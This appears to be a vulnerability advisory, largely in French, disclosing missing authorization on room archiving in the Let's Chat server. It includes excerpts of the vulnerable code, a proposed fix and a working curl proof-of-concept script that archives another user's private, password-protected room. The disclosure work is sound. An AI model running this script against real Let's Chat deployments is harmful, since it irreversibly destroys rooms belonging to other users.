
Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)
Identifiant CVE attribué : CVE-2026-66751
DELETE /rooms/:room n'effectue aucun contrôle d'autorisation au-delà de l'obligation de connexion. N'importe quel compte
peut archiver n'importe quel salon du serveur, y compris les salons privés protégés par mot de passe que ce même compte
n'est pas autorisé à lire, rejoindre ou modifier.
L'archivage est la manière dont Let's Chat supprime les salons. Le salon disparaît de la liste des salons, les recherches directes renvoient 404, et l'envoi de messages ou le téléchargement de fichiers vers celui-ci est refusé. Il n'existe aucun chemin de code dans l'application permettant d'inverser cette opération.
URL du dépôt : https://github.com/sdelements/lets-chat
Vulnérable de 0.3.0 (commit 5b5f46f, 2 janv. 2015, « Les salons sont archivés au lieu d'être
supprimés ») jusqu'à 0.4.8, la version finale. Aucune version corrigée n'existe.
Les salons privés et protégés par mot de passe sont apparus en 0.4.0, donc le cas où un attaquant détruit un salon dont il ne peut pas voir le contenu s'applique à partir de 0.4.0. Le contrôle manquant date lui-même de 0.3.0.
Confirmé sur 0.4.8 au commit 617207f, et sur docker.io/sdelements/lets-chat:latest
(0.4.7).
CWE-862 : Autorisation manquante.
Score de base CVSS 4.0 : 5.3 (Moyen)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
L'attaquant a besoin d'un compte utilisateur ordinaire et d'un accès réseau au port HTTP. Il n'a pas
besoin d'être propriétaire du salon, d'y appartenir, d'en connaître le mot de passe, ni de détenir
un rôle privilégié. L'auto-enregistrement est activé par défaut (auth.local.enableRegistration dans defaults.yml).
La sélection des cibles ne coûte rien. GET /rooms liste les salons protégés par mot de passe à chaque
utilisateur par conception, de sorte que l'attaquant peut lire la liste complète des identifiants de salons
et archiver chacun d'entre eux tour à tour.
La route exige une connexion et résout le salon, et rien de plus.
app/controllers/rooms.js:99-109 :
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
Le gestionnaire ne transmet qu'un identifiant de salon en aval. Il ne consulte jamais req.user.
app/controllers/rooms.js:217-232 :
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
Le gestionnaire (manager) n'accepte aucun argument utilisateur, il ne peut donc pas vérifier la propriété, même en principe.
app/core/rooms.js:123-137 :
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
La voie de mise à jour voisine vérifie, elle, la propriété, ce qui donne à penser qu'il s'agit d'un
oubli plutôt que d'un choix délibéré. app/core/rooms.js:89-91 :
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
Le client rejoint cette lecture plus stricte. media/js/views/room.js:28-31 décide qui voit
le contrôle d'édition, et le bouton Archiver le salon se trouve dans la fenêtre modale d'édition
ouverte par ce contrôle :
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
Pour un salon protégé par mot de passe, un non-propriétaire ne voit jamais le bouton. La restriction n'existe que dans le navigateur.
Requiert rooms.private: true (ou LCB_ROOMS_PRIVATE=true) afin que des salons privés puissent être
créés. Le contrôle manquant s'applique lui-même à chaque salon, indépendamment de ce paramètre.
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
Après la requête, le salon disparaît de GET /rooms pour chaque utilisateur, GET /rooms/:id
renvoie 404, et messages:create et files:create le rejettent
(app/core/messages.js:28-30, app/core/files.js:55-57). Rien dans app/ ne repasse archived
à false, la récupération nécessite donc un accès direct à la base de données.
Passer l'appelant au gestionnaire et vérifier la propriété avant d'archiver, comme le fait déjà
update. Dans app/controllers/rooms.js:217 :
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
et dans app/core/rooms.js:123, après le contrôle if (!room) :
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}